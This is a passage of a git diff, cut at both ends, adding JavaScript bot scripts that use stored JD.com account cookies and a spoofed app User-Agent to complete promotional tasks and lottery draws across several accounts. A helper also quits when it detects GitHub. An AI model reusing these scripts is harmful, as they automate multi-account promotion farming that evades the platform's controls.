!= 0) { + console.log(`${data.rewardsInfo.successRewards['3'][0].rewardName},获得${data.rewardsInfo.successRewards['3'][0].quantity}京豆`); + } else if (data.rewardsInfo.failRewards.length != 0) { + console.log(`失败:${data.rewardsInfo.failRewards[0].msg}`); + } + } else if (data.subCode == '1403' || data.subCode == '1703') { + console.log(data.msg); + } else { + console.log(data.msg); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURI(JSON.stringify(body))}&appid=babelh5&sign=11&t=${(new Date).getTime()}`, + headers: { + 'Host': 'api.m.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://pro.m.jd.com', + 'Accept-Language': 'zh-cn', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://pro.m.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_market_lottery.js b/jd_market_lottery.js new file mode 100644 index 0000000..6945b2a --- /dev/null +++ b/jd_market_lottery.js @@ -0,0 +1,188 @@ +// author: 疯疯 +/* +幸运大转盘 +活动地址:https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#幸运大转盘 +4 10 * * * jd_market_lottery.js, tag=幸运大转盘, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +==============Loon============== +[Script] +cron "4 10 * * *" script-path=jd_market_lottery.js,tag=幸运大转盘 + +================Surge=============== +幸运大转盘 = type=cron,cronexp="4 10 * * *",wake-system=1,timeout=3600,script-path=jd_market_lottery.js + +===============小火箭========== +幸运大转盘 = type=cron,script-path=jd_market_lottery.js, cronexpr="4 10 * * *", timeout=3600, enable=true +*/ + +const $ = new Env("幸运大转盘"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = [], + cookie = "", + allMsg = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + console.log(`如果出现提示 ?.data. 错误,请升级nodejs版本(进入容器后,apk add nodejs-current)`) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/client.action"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + {"open-url": "https://bean.m.jd.com/"} + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await main() + } + } + await showMsg() +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); +function showMsg() { + return new Promise(async resolve => { + if (allMsg) $.msg($.name, '', allMsg); + resolve(); + }) +} +async function main() { + await getInfo('https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html') + await getInfo('https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html') +} +async function getInfo(url) { + return new Promise(resolve=>{ + $.get({ + url, + headers:{ + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + },async (err,resp,data)=>{ + try{ + if(err){ + + }else{ + data = $.toObj(data.match(/window.__react_data__ = (\{.*\})/)[1]) + let taskList = data?.activityData?.floorList?.filter(vo=>vo.template==='score_task')[0] + //console.log(data?.activityData?.floorList) + for(let vo of taskList['taskItemList']){ + for(let i = vo.joinTimes; i< vo.taskLimit;++i){ + console.log(`去完成${vo?.flexibleData?.taskName ?? vo.enAwardK}任务,第${i+1}次`) + await doTask(vo.enAwardK) + await $.wait(500) + } + } + let lottery = data?.activityData?.floorList?.filter(vo=>vo.template==='choujiang_wheel')[0] + //console.log(lottery) + const {userScore,lotteryScore} = lottery.lotteryGuaGuaLe + if(lotteryScore<=userScore) { + console.log(`抽奖需要${lotteryScore},当前${userScore}分,去抽奖`) + await doLottery("a84f9428da0bb36a6a11884c54300582") + } else { + console.log(`当前积分已不足去抽奖`) + } + } + }catch (e) { + + }finally { + resolve() + } + + }) + }) +} +function doTask(enAwardK) { + return new Promise(resolve => { + $.post(taskUrl('babelDoScoreTask',{enAwardK,"isQueryResult":0,"siteClient":"apple","mitemAddrId":"","geo":{"lng":"","lat":""},"addressId":"","posLng":"","posLat":"","homeLng":"","homeLat":"","focus":"","innerAnchor":"","cv":"2.0"}), + (err,resp,data)=>{ + try{ + if(err){ + + }else{ + data = $.toObj(data) + console.log(data.promptMsg) + } + }catch (e) { + + }finally { + resolve() + } + }) + }) +} +function doLottery(enAwardK,authType="2") { + return new Promise(resolve => { + $.post(taskUrl('babelGetLottery',{enAwardK,authType}), + (err,resp,data)=>{ + try{ + if(err){ + + }else{ + data = $.toObj(data) + console.log(data.promptMsg) + allMsg += `【京东账号${$.index}】${$.UserName}:${data.promptMsg}\n` + } + }catch (e) { + + }finally { + resolve() + } + }) + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}/client.action?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mhtask.js b/jd_mhtask.js new file mode 100644 index 0000000..ae4c3c3 --- /dev/null +++ b/jd_mhtask.js @@ -0,0 +1,289 @@ +/* +#盲盒任务抽京豆,自行加入以下环境变量,多个活动用@连接 +export jd_mhurlList="" + +即时任务,无需cron + */ + +const $ = new Env('盲盒任务抽京豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let jd_mhurlList = ''; +let jd_mhurlArr = []; +let jd_mhurl = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.jd_mhurlList) jd_mhurlList = process.env.jd_mhurlList + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + if (!jd_mhurlList) { + $.log(`暂时没有盲盒任务,改日再来~`); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let jd_mhurlArr = jd_mhurlList.split("@"); + for (let j = 0; j < jd_mhurlArr.length; j++) { + jd_mhurl = jd_mhurlArr[j] + console.log(`新的盲盒任务已经准备好: ${jd_mhurl},准备开始薅豆`); + try { + await jdMh(jd_mhurl) + } catch (e) { + $.logErr(e) + } + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdMh(url) { + try { + await getInfo(url) + await getUserInfo() + await draw() + while ($.userInfo.bless >= $.userInfo.cost_bless_one_time) { + await draw() + await getUserInfo() + await $.wait(500) + } + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + allMessage += `京东账号${$.index}-${$.nickName}: 获得【${$.beans}】京豆\n` + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function getInfo(url) { + console.log(`\n盲盒任务url:${url}\n`) + return new Promise(resolve => { + $.get({ + url, + headers: { + Cookie: cookie + } + }, (err, resp, data) => { + try { + $.info = JSON.parse(data.match(/var snsConfig 